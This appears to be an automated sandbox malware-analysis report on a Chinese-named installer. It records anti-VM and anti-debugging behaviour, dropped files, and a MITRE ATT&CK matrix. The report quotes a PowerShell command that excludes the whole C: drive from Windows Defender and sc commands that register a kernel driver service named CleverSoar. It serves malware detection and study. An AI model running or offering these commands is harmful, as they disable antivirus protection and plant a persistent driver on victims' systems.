Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSystem information queried: FirmwareTableInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5754Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3933Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpWindow / User API: threadDelayed 666Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpWindow / User API: threadDelayed 690Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpWindow / User API: threadDelayed 643Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpDropped PE file which has not been started: C:\Program Files (x86)\Windows NT\hrsw.vbcJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\update.vacJump to dropped file
Source: C:\Program Files (x86)\Windows NT\7zr.exeDropped PE file which has not been started: C:\Program Files (x86)\Windows NT\tProtect.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Program Files (x86)\Windows NT\7zr.exeAPI coverage: 7.7 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764Thread sleep time: -5534023222112862s >= -30000sJump to behavior
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA6B430 FindFirstFileA,FindClose,FindClose,6_2_6CA6B430
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00856868 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,10_2_00856868
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00857496 __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,10_2_00857496
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00859C60 GetSystemInfo,10_2_00859C60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000002.00000002.1420206614.00000000008DF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000002.00000002.1420206614.00000000008DF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\<
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Contains functionality to hide a thread from the debugger
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F3886 NtSetInformationThread 00000000,00000011,00000000,000000006_2_6C8F3886
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpThread information set: HideFromDebuggerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpThread information set: HideFromDebuggerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess queried: DebugPortJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA806F1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_6CA806F1
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D57D0 GetCurrentProcessId,GetCurrentThreadId,LoadLibraryW,GetProcAddress,FreeLibrary,GetTickCount,QueryPerformanceCounter,GetTickCount,10_2_008D57D0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA7F6ED mov eax, dword ptr fs:[00000030h]6_2_6CA7F6ED
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA8A2A5 mov eax, dword ptr fs:[00000030h]6_2_6CA8A2A5
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA8A2D6 mov eax, dword ptr fs:[00000030h]6_2_6CA8A2D6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA806F1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_6CA806F1
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA7922D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_6CA7922D

HIPS / PFW / Operating System Protection Evasion

barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"Jump to behavior
Found driver which could be used to inject code into processes
Source: tProtect.dll.12.drStatic PE information: Found potential injection code
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENTJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= autoJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB47720 cpuid 6_2_6CB47720
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0085AB2A GetSystemTimeAsFileTime,10_2_0085AB2A
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008F0090 GetVersion,10_2_008F0090
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1591724127.0000000000983000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Windows Defender\MsMpEng.exe

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
Windows Service		1
Access Token Manipulation		11
Masquerading		OS Credential Dumping1
System Time Discovery		Remote Services1
Archive Collected Data		1
Encrypted Channel		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts1
Service Execution		1
DLL Side-Loading		1
Windows Service		1
Disable or Modify Tools		LSASS Memory431
Security Software Discovery		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Native API		Logon Script (Windows)111
Process Injection		231
Virtualization/Sandbox Evasion		Security Account Manager231
Virtualization/Sandbox Evasion		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
DLL Side-Loading		1
Access Token Manipulation		NTDS2
Process Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script111
Process Injection		LSA Secrets1
Application Window Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
Deobfuscate/Decode Files or Information		Cached Domain Credentials2
System Owner/User Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items3
Obfuscated Files or Information		DCSync3
File and Directory Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Software Packing		Proc Filesystem25
System Information Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
DLL Side-Loading		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
